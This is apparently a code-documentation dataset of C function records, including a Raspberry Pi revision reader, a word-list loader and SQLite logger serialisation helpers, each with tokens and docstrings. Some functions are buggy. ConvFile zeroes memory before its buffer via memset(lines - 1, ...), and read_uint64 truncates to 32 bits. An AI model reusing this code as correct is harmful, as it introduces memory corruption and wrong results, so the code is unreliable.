[ "/* USER CODE BEGIN I2C1_ER_IRQn 0 */", "/* USER CODE END I2C1_ER_IRQn 0 */", "/* USER CODE BEGIN I2C1_ER_IRQn 1 */", "/* USER CODE END I2C1_ER_IRQn 1 */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
4e134feb9a0cf37a8c0448f6809bf8162def0e7d
pidaeus/pidaeus
deps/libpi/src/cpuinfo.c
[ "MIT", "Unlicense" ]
C
pi_revision
int
int pi_revision() { debug("start"); FILE *fd; char buf_file[MAX_BUF]; char buf_key[MAX_BUF]; char buf_val[MAX_BUF]; fd = fopen("/proc/cpuinfo", "r"); if (fd == NULL) { debug("error: cannot open /proc/cpuinfo"); return -1; } while (fgets(buf_file, sizeof(buf_file), fd) != NULL) { if (strlen(buf_file) == 1) continue; sscanf(buf_file, "%[^\t:] : %[^\t\n]", buf_key, buf_val); if (strncmp("Revision", buf_key, 8) == 0) break; } fclose(fd); long rev = strtol(buf_val, NULL, 16); if (errno == ERANGE || rev == 0) { debug("error: revision not found"); return -1; } rev %= 0x10; // handle overclocked systems int res; switch (rev) { case 2: case 3: res = 1; break; default: res = 2; break; } debug("revision: %i", res); return res; }
/* * Get the current board revision. */
Get the current board revision.
[ "Get", "the", "current", "board", "revision", "." ]
int pi_revision() { debug("start"); FILE *fd; char buf_file[MAX_BUF]; char buf_key[MAX_BUF]; char buf_val[MAX_BUF]; fd = fopen("/proc/cpuinfo", "r"); if (fd == NULL) { debug("error: cannot open /proc/cpuinfo"); return -1; } while (fgets(buf_file, sizeof(buf_file), fd) != NULL) { if (strlen(buf_file) == 1) continue; sscanf(buf_file, "%[^\t:] : %[^\t\n]", buf_key, buf_val); if (strncmp("Revision", buf_key, 8) == 0) break; } fclose(fd); long rev = strtol(buf_val, NULL, 16); if (errno == ERANGE || rev == 0) { debug("error: revision not found"); return -1; } rev %= 0x10; int res; switch (rev) { case 2: case 3: res = 1; break; default: res = 2; break; } debug("revision: %i", res); return res; }
[ "int", "pi_revision", "(", ")", "{", "debug", "(", "\"", "\"", ")", ";", "FILE", "*", "fd", ";", "char", "buf_file", "[", "MAX_BUF", "]", ";", "char", "buf_key", "[", "MAX_BUF", "]", ";", "char", "buf_val", "[", "MAX_BUF", "]", ";", "fd", "=", "fopen", "(", "\"", "\"", ",", "\"", "\"", ")", ";", "if", "(", "fd", "==", "NULL", ")", "{", "debug", "(", "\"", "\"", ")", ";", "return", "-1", ";", "}", "while", "(", "fgets", "(", "buf_file", ",", "sizeof", "(", "buf_file", ")", ",", "fd", ")", "!=", "NULL", ")", "{", "if", "(", "strlen", "(", "buf_file", ")", "==", "1", ")", "continue", ";", "sscanf", "(", "buf_file", ",", "\"", "\\t", "\\t", "\\n", "\"", ",", "buf_key", ",", "buf_val", ")", ";", "if", "(", "strncmp", "(", "\"", "\"", ",", "buf_key", ",", "8", ")", "==", "0", ")", "break", ";", "}", "fclose", "(", "fd", ")", ";", "long", "rev", "=", "strtol", "(", "buf_val", ",", "NULL", ",", "16", ")", ";", "if", "(", "errno", "==", "ERANGE", "||", "rev", "==", "0", ")", "{", "debug", "(", "\"", "\"", ")", ";", "return", "-1", ";", "}", "rev", "%=", "0x10", ";", "int", "res", ";", "switch", "(", "rev", ")", "{", "case", "2", ":", "case", "3", ":", "res", "=", "1", ";", "break", ";", "default", ":", "res", "=", "2", ";", "break", ";", "}", "debug", "(", "\"", "\"", ",", "res", ")", ";", "return", "res", ";", "}" ]
Get the current board revision.
[ "Get", "the", "current", "board", "revision", "." ]
[ "// handle overclocked systems" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
222c1a73e57fceca298ae2c3a4806476dfdb9301
mhatle/meta-openamp
recipes-openamp/rpmsg-examples/rpmsg-proxy-app/proxy_app.c
[ "MIT" ]
C
file_write
int
int file_write(char *path, char *str) { int fd; ssize_t bytes_written; size_t str_sz; fd = open(path, O_WRONLY); if (fd == -1) { perror("Error"); return -1; } str_sz = strlen(str); bytes_written = write(fd, str, str_sz); if (bytes_written != str_sz) { if (bytes_written == -1) { perror("Error"); } close(fd); return -1; } if (-1 == close(fd)) { perror("Error"); return -1; } return 0; }
/* write a string to an existing and writtable file */
write a string to an existing and writtable file
[ "write", "a", "string", "to", "an", "existing", "and", "writtable", "file" ]
int file_write(char *path, char *str) { int fd; ssize_t bytes_written; size_t str_sz; fd = open(path, O_WRONLY); if (fd == -1) { perror("Error"); return -1; } str_sz = strlen(str); bytes_written = write(fd, str, str_sz); if (bytes_written != str_sz) { if (bytes_written == -1) { perror("Error"); } close(fd); return -1; } if (-1 == close(fd)) { perror("Error"); return -1; } return 0; }
[ "int", "file_write", "(", "char", "*", "path", ",", "char", "*", "str", ")", "{", "int", "fd", ";", "ssize_t", "bytes_written", ";", "size_t", "str_sz", ";", "fd", "=", "open", "(", "path", ",", "O_WRONLY", ")", ";", "if", "(", "fd", "==", "-1", ")", "{", "perror", "(", "\"", "\"", ")", ";", "return", "-1", ";", "}", "str_sz", "=", "strlen", "(", "str", ")", ";", "bytes_written", "=", "write", "(", "fd", ",", "str", ",", "str_sz", ")", ";", "if", "(", "bytes_written", "!=", "str_sz", ")", "{", "if", "(", "bytes_written", "==", "-1", ")", "{", "perror", "(", "\"", "\"", ")", ";", "}", "close", "(", "fd", ")", ";", "return", "-1", ";", "}", "if", "(", "-1", "==", "close", "(", "fd", ")", ")", "{", "perror", "(", "\"", "\"", ")", ";", "return", "-1", ";", "}", "return", "0", ";", "}" ]
write a string to an existing and writtable file
[ "write", "a", "string", "to", "an", "existing", "and", "writtable", "file" ]
[]
[ { "param": "path", "type": "char" }, { "param": "str", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "path", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "str", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
2083da2bb7f6f0a916e8156e1e357fc21c772774
PATRISPREDICTUM/GenderApp
List.c
[ "MIT" ]
C
ConvFile
nan
unsigned int* ConvFile(FILE* f, short linecount) { fseek(f, 0, SEEK_END); int size = ftell(f); fseek(f, 0, SEEK_SET); int* lines = malloc(linecount * 4); memset(lines - 1, 0, linecount * 4); for (int i = 1; i < linecount; i++) { fgets(tmp, max_word_length, f); lines[i] = strlen(tmp) + lines[i - 1] + 1; memset(tmp, 0, max_word_length); } fseek(f, 0, SEEK_SET); return lines; }
// Get beginning of each new line in the word list
Get beginning of each new line in the word list
[ "Get", "beginning", "of", "each", "new", "line", "in", "the", "word", "list" ]
unsigned int* ConvFile(FILE* f, short linecount) { fseek(f, 0, SEEK_END); int size = ftell(f); fseek(f, 0, SEEK_SET); int* lines = malloc(linecount * 4); memset(lines - 1, 0, linecount * 4); for (int i = 1; i < linecount; i++) { fgets(tmp, max_word_length, f); lines[i] = strlen(tmp) + lines[i - 1] + 1; memset(tmp, 0, max_word_length); } fseek(f, 0, SEEK_SET); return lines; }
[ "unsigned", "int", "*", "ConvFile", "(", "FILE", "*", "f", ",", "short", "linecount", ")", "{", "fseek", "(", "f", ",", "0", ",", "SEEK_END", ")", ";", "int", "size", "=", "ftell", "(", "f", ")", ";", "fseek", "(", "f", ",", "0", ",", "SEEK_SET", ")", ";", "int", "*", "lines", "=", "malloc", "(", "linecount", "*", "4", ")", ";", "memset", "(", "lines", "-", "1", ",", "0", ",", "linecount", "*", "4", ")", ";", "for", "(", "int", "i", "=", "1", ";", "i", "<", "linecount", ";", "i", "++", ")", "{", "fgets", "(", "tmp", ",", "max_word_length", ",", "f", ")", ";", "lines", "[", "i", "]", "=", "strlen", "(", "tmp", ")", "+", "lines", "[", "i", "-", "1", "]", "+", "1", ";", "memset", "(", "tmp", ",", "0", ",", "max_word_length", ")", ";", "}", "fseek", "(", "f", ",", "0", ",", "SEEK_SET", ")", ";", "return", "lines", ";", "}" ]
Get beginning of each new line in the word list
[ "Get", "beginning", "of", "each", "new", "line", "in", "the", "word", "list" ]
[]
[ { "param": "f", "type": "FILE" }, { "param": "linecount", "type": "short" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "f", "type": "FILE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "linecount", "type": "short", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
2083da2bb7f6f0a916e8156e1e357fc21c772774
PATRISPREDICTUM/GenderApp
List.c
[ "MIT" ]
C
LoadWordList
nan
struct WordList* LoadWordList(const char* Path, int lines_amount) { struct WordList* List = malloc(sizeof(struct WordList)); List->file = fopen(Path, "r"); if (!List->file) return 0; List->lines_beginging = ConvFile(List->file, lines_amount); return List; }
// read Word list into Wordlist Object
read Word list into Wordlist Object
[ "read", "Word", "list", "into", "Wordlist", "Object" ]
struct WordList* LoadWordList(const char* Path, int lines_amount) { struct WordList* List = malloc(sizeof(struct WordList)); List->file = fopen(Path, "r"); if (!List->file) return 0; List->lines_beginging = ConvFile(List->file, lines_amount); return List; }
[ "struct", "WordList", "*", "LoadWordList", "(", "const", "char", "*", "Path", ",", "int", "lines_amount", ")", "{", "struct", "WordList", "*", "List", "=", "malloc", "(", "sizeof", "(", "struct", "WordList", ")", ")", ";", "List", "->", "file", "=", "fopen", "(", "Path", ",", "\"", "\"", ")", ";", "if", "(", "!", "List", "->", "file", ")", "return", "0", ";", "List", "->", "lines_beginging", "=", "ConvFile", "(", "List", "->", "file", ",", "lines_amount", ")", ";", "return", "List", ";", "}" ]
read Word list into Wordlist Object
[ "read", "Word", "list", "into", "Wordlist", "Object" ]
[]
[ { "param": "Path", "type": "char" }, { "param": "lines_amount", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Path", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "lines_amount", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_uint32
void
void write_uint32(byte *ptr, uint32_t input) { int i = 4; while (i--) *ptr++ = (input >> (8 * i)) & 0xFF; }
// Stores the given uint32_t in the given location // in big-endian sequence
Stores the given uint32_t in the given location in big-endian sequence
[ "Stores", "the", "given", "uint32_t", "in", "the", "given", "location", "in", "big", "-", "endian", "sequence" ]
void write_uint32(byte *ptr, uint32_t input) { int i = 4; while (i--) *ptr++ = (input >> (8 * i)) & 0xFF; }
[ "void", "write_uint32", "(", "byte", "*", "ptr", ",", "uint32_t", "input", ")", "{", "int", "i", "=", "4", ";", "while", "(", "i", "--", ")", "*", "ptr", "++", "=", "(", "input", ">>", "(", "8", "*", "i", ")", ")", "&", "0xFF", ";", "}" ]
Stores the given uint32_t in the given location in big-endian sequence
[ "Stores", "the", "given", "uint32_t", "in", "the", "given", "location", "in", "big", "-", "endian", "sequence" ]
[]
[ { "param": "ptr", "type": "byte" }, { "param": "input", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "input", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_uint64
void
void write_uint64(byte *ptr, uint64_t input) { int i = 8; while (i--) *ptr++ = (input >> (8 * i)) & 0xFF; }
// Stores the given uint64_t in the given location // in big-endian sequence
Stores the given uint64_t in the given location in big-endian sequence
[ "Stores", "the", "given", "uint64_t", "in", "the", "given", "location", "in", "big", "-", "endian", "sequence" ]
void write_uint64(byte *ptr, uint64_t input) { int i = 8; while (i--) *ptr++ = (input >> (8 * i)) & 0xFF; }
[ "void", "write_uint64", "(", "byte", "*", "ptr", ",", "uint64_t", "input", ")", "{", "int", "i", "=", "8", ";", "while", "(", "i", "--", ")", "*", "ptr", "++", "=", "(", "input", ">>", "(", "8", "*", "i", ")", ")", "&", "0xFF", ";", "}" ]
Stores the given uint64_t in the given location in big-endian sequence
[ "Stores", "the", "given", "uint64_t", "in", "the", "given", "location", "in", "big", "-", "endian", "sequence" ]
[]
[ { "param": "ptr", "type": "byte" }, { "param": "input", "type": "uint64_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "input", "type": "uint64_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_vint16
int
int write_vint16(byte *ptr, uint16_t vint) { int len = get_vlen_of_uint16(vint); for (int i = len - 1; i > 0; i--) *ptr++ = 0x80 + ((vint >> (7 * i)) & 0x7F); *ptr = vint & 0x7F; return len; }
// Stores the given uint16_t in the given location // in variable integer format
Stores the given uint16_t in the given location in variable integer format
[ "Stores", "the", "given", "uint16_t", "in", "the", "given", "location", "in", "variable", "integer", "format" ]
int write_vint16(byte *ptr, uint16_t vint) { int len = get_vlen_of_uint16(vint); for (int i = len - 1; i > 0; i--) *ptr++ = 0x80 + ((vint >> (7 * i)) & 0x7F); *ptr = vint & 0x7F; return len; }
[ "int", "write_vint16", "(", "byte", "*", "ptr", ",", "uint16_t", "vint", ")", "{", "int", "len", "=", "get_vlen_of_uint16", "(", "vint", ")", ";", "for", "(", "int", "i", "=", "len", "-", "1", ";", "i", ">", "0", ";", "i", "--", ")", "*", "ptr", "++", "=", "0x80", "+", "(", "(", "vint", ">>", "(", "7", "*", "i", ")", ")", "&", "0x7F", ")", ";", "*", "ptr", "=", "vint", "&", "0x7F", ";", "return", "len", ";", "}" ]
Stores the given uint16_t in the given location in variable integer format
[ "Stores", "the", "given", "uint16_t", "in", "the", "given", "location", "in", "variable", "integer", "format" ]
[]
[ { "param": "ptr", "type": "byte" }, { "param": "vint", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "vint", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_vint32
int
int write_vint32(byte *ptr, uint32_t vint) { int len = get_vlen_of_uint32(vint); for (int i = len - 1; i > 0; i--) *ptr++ = 0x80 + ((vint >> (7 * i)) & 0x7F); *ptr = vint & 0x7F; return len; }
// Stores the given uint32_t in the given location // in variable integer format
Stores the given uint32_t in the given location in variable integer format
[ "Stores", "the", "given", "uint32_t", "in", "the", "given", "location", "in", "variable", "integer", "format" ]
int write_vint32(byte *ptr, uint32_t vint) { int len = get_vlen_of_uint32(vint); for (int i = len - 1; i > 0; i--) *ptr++ = 0x80 + ((vint >> (7 * i)) & 0x7F); *ptr = vint & 0x7F; return len; }
[ "int", "write_vint32", "(", "byte", "*", "ptr", ",", "uint32_t", "vint", ")", "{", "int", "len", "=", "get_vlen_of_uint32", "(", "vint", ")", ";", "for", "(", "int", "i", "=", "len", "-", "1", ";", "i", ">", "0", ";", "i", "--", ")", "*", "ptr", "++", "=", "0x80", "+", "(", "(", "vint", ">>", "(", "7", "*", "i", ")", ")", "&", "0x7F", ")", ";", "*", "ptr", "=", "vint", "&", "0x7F", ";", "return", "len", ";", "}" ]
Stores the given uint32_t in the given location in variable integer format
[ "Stores", "the", "given", "uint32_t", "in", "the", "given", "location", "in", "variable", "integer", "format" ]
[]
[ { "param": "ptr", "type": "byte" }, { "param": "vint", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "vint", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_uint32
uint32_t
uint32_t read_uint32(byte *ptr) { uint32_t ret; ret = ((uint32_t)*ptr++) << 24; ret += ((uint32_t)*ptr++) << 16; ret += ((uint32_t)*ptr++) << 8; ret += *ptr; return ret; }
// Reads and returns big-endian uint32_t // at a given memory location
Reads and returns big-endian uint32_t at a given memory location
[ "Reads", "and", "returns", "big", "-", "endian", "uint32_t", "at", "a", "given", "memory", "location" ]
uint32_t read_uint32(byte *ptr) { uint32_t ret; ret = ((uint32_t)*ptr++) << 24; ret += ((uint32_t)*ptr++) << 16; ret += ((uint32_t)*ptr++) << 8; ret += *ptr; return ret; }
[ "uint32_t", "read_uint32", "(", "byte", "*", "ptr", ")", "{", "uint32_t", "ret", ";", "ret", "=", "(", "(", "uint32_t", ")", "*", "ptr", "++", ")", "<<", "24", ";", "ret", "+=", "(", "(", "uint32_t", ")", "*", "ptr", "++", ")", "<<", "16", ";", "ret", "+=", "(", "(", "uint32_t", ")", "*", "ptr", "++", ")", "<<", "8", ";", "ret", "+=", "*", "ptr", ";", "return", "ret", ";", "}" ]
Reads and returns big-endian uint32_t at a given memory location
[ "Reads", "and", "returns", "big", "-", "endian", "uint32_t", "at", "a", "given", "memory", "location" ]
[]
[ { "param": "ptr", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_uint64
uint64_t
uint64_t read_uint64(byte *ptr) { uint32_t ret = 0; int len = 8; while (len--) ret += (*ptr++ << (8 * len)); return ret; }
// Reads and returns big-endian uint32_t // at a given memory location
Reads and returns big-endian uint32_t at a given memory location
[ "Reads", "and", "returns", "big", "-", "endian", "uint32_t", "at", "a", "given", "memory", "location" ]
uint64_t read_uint64(byte *ptr) { uint32_t ret = 0; int len = 8; while (len--) ret += (*ptr++ << (8 * len)); return ret; }
[ "uint64_t", "read_uint64", "(", "byte", "*", "ptr", ")", "{", "uint32_t", "ret", "=", "0", ";", "int", "len", "=", "8", ";", "while", "(", "len", "--", ")", "ret", "+=", "(", "*", "ptr", "++", "<<", "(", "8", "*", "len", ")", ")", ";", "return", "ret", ";", "}" ]
Reads and returns big-endian uint32_t at a given memory location
[ "Reads", "and", "returns", "big", "-", "endian", "uint32_t", "at", "a", "given", "memory", "location" ]
[]
[ { "param": "ptr", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_vint16
uint16_t
uint16_t read_vint16(byte *ptr, int8_t *vlen) { uint16_t ret = 0; int8_t len = 3; // read max 3 bytes do { ret <<= 7; ret += *ptr & 0x7F; len--; } while ((*ptr++ & 0x80) == 0x80 && len); if (vlen) *vlen = 3 - len; return ret; }
// Reads and returns variable integer // from given location as uint16_t // Also returns the length of the varint
Reads and returns variable integer from given location as uint16_t Also returns the length of the varint
[ "Reads", "and", "returns", "variable", "integer", "from", "given", "location", "as", "uint16_t", "Also", "returns", "the", "length", "of", "the", "varint" ]
uint16_t read_vint16(byte *ptr, int8_t *vlen) { uint16_t ret = 0; int8_t len = 3; do { ret <<= 7; ret += *ptr & 0x7F; len--; } while ((*ptr++ & 0x80) == 0x80 && len); if (vlen) *vlen = 3 - len; return ret; }
[ "uint16_t", "read_vint16", "(", "byte", "*", "ptr", ",", "int8_t", "*", "vlen", ")", "{", "uint16_t", "ret", "=", "0", ";", "int8_t", "len", "=", "3", ";", "do", "{", "ret", "<<=", "7", ";", "ret", "+=", "*", "ptr", "&", "0x7F", ";", "len", "--", ";", "}", "while", "(", "(", "*", "ptr", "++", "&", "0x80", ")", "==", "0x80", "&&", "len", ")", ";", "if", "(", "vlen", ")", "*", "vlen", "=", "3", "-", "len", ";", "return", "ret", ";", "}" ]
Reads and returns variable integer from given location as uint16_t Also returns the length of the varint
[ "Reads", "and", "returns", "variable", "integer", "from", "given", "location", "as", "uint16_t", "Also", "returns", "the", "length", "of", "the", "varint" ]
[ "// read max 3 bytes" ]
[ { "param": "ptr", "type": "byte" }, { "param": "vlen", "type": "int8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "vlen", "type": "int8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_vint32
uint32_t
uint32_t read_vint32(byte *ptr, int8_t *vlen) { uint32_t ret = 0; int8_t len = 5; // read max 5 bytes do { ret <<= 7; ret += *ptr & 0x7F; len--; } while ((*ptr++ & 0x80) == 0x80 && len); if (vlen) *vlen = 5 - len; return ret; }
// Reads and returns variable integer // from given location as uint32_t // Also returns the length of the varint
Reads and returns variable integer from given location as uint32_t Also returns the length of the varint
[ "Reads", "and", "returns", "variable", "integer", "from", "given", "location", "as", "uint32_t", "Also", "returns", "the", "length", "of", "the", "varint" ]
uint32_t read_vint32(byte *ptr, int8_t *vlen) { uint32_t ret = 0; int8_t len = 5; do { ret <<= 7; ret += *ptr & 0x7F; len--; } while ((*ptr++ & 0x80) == 0x80 && len); if (vlen) *vlen = 5 - len; return ret; }
[ "uint32_t", "read_vint32", "(", "byte", "*", "ptr", ",", "int8_t", "*", "vlen", ")", "{", "uint32_t", "ret", "=", "0", ";", "int8_t", "len", "=", "5", ";", "do", "{", "ret", "<<=", "7", ";", "ret", "+=", "*", "ptr", "&", "0x7F", ";", "len", "--", ";", "}", "while", "(", "(", "*", "ptr", "++", "&", "0x80", ")", "==", "0x80", "&&", "len", ")", ";", "if", "(", "vlen", ")", "*", "vlen", "=", "5", "-", "len", ";", "return", "ret", ";", "}" ]
Reads and returns variable integer from given location as uint32_t Also returns the length of the varint
[ "Reads", "and", "returns", "variable", "integer", "from", "given", "location", "as", "uint32_t", "Also", "returns", "the", "length", "of", "the", "varint" ]
[ "// read max 5 bytes" ]
[ { "param": "ptr", "type": "byte" }, { "param": "vlen", "type": "int8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "vlen", "type": "int8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
float_to_double
int64_t
int64_t float_to_double(const void *val) { uint32_t bytes = *((uint32_t *) val); uint8_t exp8 = (bytes >> 23) & 0xFF; uint16_t exp11 = exp8; if (exp11 != 0) { if (exp11 < 127) exp11 = 1023 - (127 - exp11); else exp11 = 1023 + (exp11 - 127); } return ((int64_t)(bytes >> 31) << 63) | ((int64_t)exp11 << 52) | ((int64_t)(bytes & 0x7FFFFF) << (52-23) ); }
// Converts float to Sqlite's Big-endian double
Converts float to Sqlite's Big-endian double
[ "Converts", "float", "to", "Sqlite", "'", "s", "Big", "-", "endian", "double" ]
int64_t float_to_double(const void *val) { uint32_t bytes = *((uint32_t *) val); uint8_t exp8 = (bytes >> 23) & 0xFF; uint16_t exp11 = exp8; if (exp11 != 0) { if (exp11 < 127) exp11 = 1023 - (127 - exp11); else exp11 = 1023 + (exp11 - 127); } return ((int64_t)(bytes >> 31) << 63) | ((int64_t)exp11 << 52) | ((int64_t)(bytes & 0x7FFFFF) << (52-23) ); }
[ "int64_t", "float_to_double", "(", "const", "void", "*", "val", ")", "{", "uint32_t", "bytes", "=", "*", "(", "(", "uint32_t", "*", ")", "val", ")", ";", "uint8_t", "exp8", "=", "(", "bytes", ">>", "23", ")", "&", "0xFF", ";", "uint16_t", "exp11", "=", "exp8", ";", "if", "(", "exp11", "!=", "0", ")", "{", "if", "(", "exp11", "<", "127", ")", "exp11", "=", "1023", "-", "(", "127", "-", "exp11", ")", ";", "else", "exp11", "=", "1023", "+", "(", "exp11", "-", "127", ")", ";", "}", "return", "(", "(", "int64_t", ")", "(", "bytes", ">>", "31", ")", "<<", "63", ")", "|", "(", "(", "int64_t", ")", "exp11", "<<", "52", ")", "|", "(", "(", "int64_t", ")", "(", "bytes", "&", "0x7FFFFF", ")", "<<", "(", "52", "-", "23", ")", ")", ";", "}" ]
Converts float to Sqlite's Big-endian double
[ "Converts", "float", "to", "Sqlite", "'", "s", "Big", "-", "endian", "double" ]
[]
[ { "param": "val", "type": "void" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "val", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
acquire_last_pos
uint16_t
uint16_t acquire_last_pos(struct dblog_write_context *wctx, byte *ptr) { uint16_t last_pos = read_uint16(ptr + 5); if (last_pos == 0) { dblog_append_empty_row(wctx); last_pos = read_uint16(ptr + 5); } return last_pos; }
// Returns position of last record. // Creates one, if no record found.
Returns position of last record. Creates one, if no record found.
[ "Returns", "position", "of", "last", "record", ".", "Creates", "one", "if", "no", "record", "found", "." ]
uint16_t acquire_last_pos(struct dblog_write_context *wctx, byte *ptr) { uint16_t last_pos = read_uint16(ptr + 5); if (last_pos == 0) { dblog_append_empty_row(wctx); last_pos = read_uint16(ptr + 5); } return last_pos; }
[ "uint16_t", "acquire_last_pos", "(", "struct", "dblog_write_context", "*", "wctx", ",", "byte", "*", "ptr", ")", "{", "uint16_t", "last_pos", "=", "read_uint16", "(", "ptr", "+", "5", ")", ";", "if", "(", "last_pos", "==", "0", ")", "{", "dblog_append_empty_row", "(", "wctx", ")", ";", "last_pos", "=", "read_uint16", "(", "ptr", "+", "5", ")", ";", "}", "return", "last_pos", ";", "}" ]
Returns position of last record.
[ "Returns", "position", "of", "last", "record", "." ]
[]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "ptr", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_rec_len_rowid_hdr_len
void
void write_rec_len_rowid_hdr_len(byte *ptr, uint16_t rec_len, uint32_t rowid, uint16_t hdr_len) { // write record len *ptr++ = 0x80 + (rec_len >> 14); *ptr++ = 0x80 + ((rec_len >> 7) & 0x7F); *ptr++ = rec_len & 0x7F; // write row id ptr += write_vint32(ptr, rowid); // write header len *ptr++ = 0x80 + (hdr_len >> 7); *ptr = hdr_len & 0x7F; }
// Writes Record length, Row ID and Header length // at given location // No corruption checking because no unreliable source
Writes Record length, Row ID and Header length at given location No corruption checking because no unreliable source
[ "Writes", "Record", "length", "Row", "ID", "and", "Header", "length", "at", "given", "location", "No", "corruption", "checking", "because", "no", "unreliable", "source" ]
void write_rec_len_rowid_hdr_len(byte *ptr, uint16_t rec_len, uint32_t rowid, uint16_t hdr_len) { *ptr++ = 0x80 + (rec_len >> 14); *ptr++ = 0x80 + ((rec_len >> 7) & 0x7F); *ptr++ = rec_len & 0x7F; ptr += write_vint32(ptr, rowid); *ptr++ = 0x80 + (hdr_len >> 7); *ptr = hdr_len & 0x7F; }
[ "void", "write_rec_len_rowid_hdr_len", "(", "byte", "*", "ptr", ",", "uint16_t", "rec_len", ",", "uint32_t", "rowid", ",", "uint16_t", "hdr_len", ")", "{", "*", "ptr", "++", "=", "0x80", "+", "(", "rec_len", ">>", "14", ")", ";", "*", "ptr", "++", "=", "0x80", "+", "(", "(", "rec_len", ">>", "7", ")", "&", "0x7F", ")", ";", "*", "ptr", "++", "=", "rec_len", "&", "0x7F", ";", "ptr", "+=", "write_vint32", "(", "ptr", ",", "rowid", ")", ";", "*", "ptr", "++", "=", "0x80", "+", "(", "hdr_len", ">>", "7", ")", ";", "*", "ptr", "=", "hdr_len", "&", "0x7F", ";", "}" ]
Writes Record length, Row ID and Header length at given location No corruption checking because no unreliable source
[ "Writes", "Record", "length", "Row", "ID", "and", "Header", "length", "at", "given", "location", "No", "corruption", "checking", "because", "no", "unreliable", "source" ]
[ "// write record len", "// write row id", "// write header len" ]
[ { "param": "ptr", "type": "byte" }, { "param": "rec_len", "type": "uint16_t" }, { "param": "rowid", "type": "uint32_t" }, { "param": "hdr_len", "type": "uint16_t" } ]
